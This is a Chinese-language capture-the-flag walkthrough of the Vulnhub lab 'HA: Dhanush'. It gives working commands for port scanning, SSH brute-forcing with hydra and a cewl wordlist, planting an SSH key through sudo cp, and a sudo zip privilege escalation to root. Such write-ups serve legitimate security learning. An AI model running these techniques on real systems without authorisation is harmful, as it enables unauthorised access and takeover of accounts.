Vulnhub簡介
Vulnhub是一個(gè)提供各種漏洞環(huán)境的靶場平臺(tái),供安全愛好者學(xué)習(xí)滲透使用,環(huán)境是做好的虛擬機(jī)鏡像文件,鏡像預(yù)先設(shè)計(jì)了多種漏洞,可以使用VMware或者VirtualBox來運(yùn)行。要求獲取到靶機(jī)的root權(quán)限或flag。網(wǎng)址:https://www.vulnhub.com
在這里下載https://www.vulnhub.com/entry/ha-dhanush,396/
難度:中級(jí)
題目要求:獲得root權(quán)限或flag
題目提示:關(guān)鍵是枚舉
1.信息收集
首先獲取靶機(jī)ip 這里我給kali和靶機(jī)都設(shè)置的是僅主機(jī)模式。那么用nmap來掃一下我kali所在IP的網(wǎng)段

得到靶機(jī)ip 192.168.164.177

奇怪 只開了80端口 那么掃描全部端口看看
nmap -p- -A 192.168.164.177 (-p- 是掃描全部端口 -A 是綜合)

怪不得只有80端口 原來ssh被隱藏了 暫時(shí)就先到這一步 接下來就就用kali 自帶的dirb來掃描目錄
dirb http://192.168.164.177
掃描出來了兩個(gè)目錄

但遺憾的是這兩個(gè)目錄里并沒有找到想要的東西 那么接下來接著掃描
dirb http://192.168.164.177 -X .txt (-X 代表掃描以.txt為后綴的文件)
dirb http://192.168.164.177 -X .html(這個(gè)同理代表掃描.html為后綴)
結(jié)果還是什么都沒找到 那么進(jìn)入網(wǎng)頁看看源碼 沒發(fā)現(xiàn)什么可疑的
2.SSH爆破
現(xiàn)在只有看看題目提示有沒有什么線索了 提示說的是枚舉 那么應(yīng)該就是
要暴力破解ssh 那么只有試試將網(wǎng)頁那幾個(gè)武器名稱的單詞拿來制作字典了 那么就用cewl來爬取網(wǎng)頁制作密碼字典
cewl -w ./wordlist.txt http://192.168.164.177/ (-w 設(shè)定輸出文件名。)
那么接下來就用我們生成好的字典來爆破ssh 這里就用hydra
hydra -L wordlist.txt -P wordlist.txt -t 10 -F -e ns 192.168.164.177 -s 65345 ssh
-L 用戶名字典
-P 密碼字典
-t 線程數(shù)
-f 找到密碼就停止
e ns 空密碼和指定密碼試探
-s 指定端口
看來思路是對(duì)的 得到用戶名pinak 密碼Gandiv

接下來讓我們連上去吧
ssh pinak@192.168.164.177 -p 65345

3.權(quán)限提升
ok 連上了 讓我們來看看系統(tǒng)上運(yùn)行的所有SUID可執(zhí)行文件
(SUID是Linux的一種權(quán)限機(jī)制,具有這種權(quán)限的文件會(huì)在其執(zhí)行時(shí),使調(diào)用者暫時(shí)獲得該文件擁有者的權(quán)限。如果擁有SUID權(quán)限,那么就可以利用系統(tǒng)中的二進(jìn)制文件和工具來進(jìn)行root提權(quán)。
已知的可用來提權(quán)的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp)
用find命令來查看運(yùn)行suid可執(zhí)行文件
find / -perm -u=s -type f 2>/dev/null
/表示從系統(tǒng)的根目錄開始找每個(gè)目錄
-perm 表示搜索后的跟權(quán)限
-u = s表示查找root用戶擁有的文件
-type表示正在尋找的文件類型
f 表示文件
2表示該進(jìn)程的第二個(gè)文件描述符,即stderr(標(biāo)準(zhǔn)錯(cuò)誤)
>表示重定向
/ dev / null是一個(gè)特殊的文件系統(tǒng)對(duì)象,它將丟棄寫入其中的所有內(nèi)容。
暫時(shí)沒發(fā)現(xiàn)什么可以用的

接下來看看有沒有什么計(jì)劃任務(wù)
cat /etc/crontab

還是沒有發(fā)現(xiàn)什么 算了回主目錄看看 home有三個(gè)用戶文件夾 我們挨個(gè)看看

在sarang用戶目錄下 發(fā)現(xiàn)了.ssh目錄 可惜沒權(quán)限進(jìn)不去

來看看可以執(zhí)行的權(quán)限
sudo -l

看來可以使用cp命令 那這樣就可以用作為我登錄的用戶pinak來生成一個(gè)ssh密鑰 將這個(gè)密鑰通過cp命令復(fù)制到sarang用戶.ssh文件下 那么應(yīng)該就可以通過ssh來登上sarang這個(gè)用戶了
接下來來生成ssh的公鑰和私鑰
ssh-keygen
詢問ssh安裝位置保持默認(rèn)生成在pinak/.ssh/目錄下 直接回車

這一步是問你要輸入的密碼 隨便設(shè)置為123456 下一步是確認(rèn)你的密碼 這也是123456

OK 好了 大功告成

接下來就是進(jìn)入.ssh目錄中以找到id_rsa公鑰 給它適當(dāng)?shù)臋?quán)限 將公鑰復(fù)制進(jìn)pinak目錄下
pinak@ubuntu:~$ cd .ssh/
pinak@ubuntu:~/.ssh$ ls
id_rsa id_rsa.pub
pinak@ubuntu:~/.ssh$ chmod 777 id_rsa.pub
pinak@ubuntu:~/.ssh$ cp id_rsa.pub /home/pinak
接下來執(zhí)行sudo-u 用sarang用戶來執(zhí)行cp命令 將 id_rsa.pub 公鑰cp存放到sarang的.ssh目錄下的authorized_keys文件里:
sudo -u sarang /bin/cp ./id_rsa.pub /home/sarang/.ssh/authorized_keys

接下來就可以登錄了

執(zhí)行sudo -l看下權(quán)限

可以使用zip 那么就可以用zip來提權(quán)了 使用touch命令創(chuàng)建一個(gè)shell.txt文件 通過zip文件壓縮shell.txt文件,并執(zhí)行一個(gè)獲取shell的命令。
sudo zip 1.zip shell.txt -T --unzip-command="sh -c /bin/bash"
我們已經(jīng)通過zip命令成功獲取到了受害者機(jī)器的shell

找到flag
root@ubuntu:~# cd /root/
root@ubuntu:/root# ls
flag.txt
root@ubuntu:/root# cat flag.txt
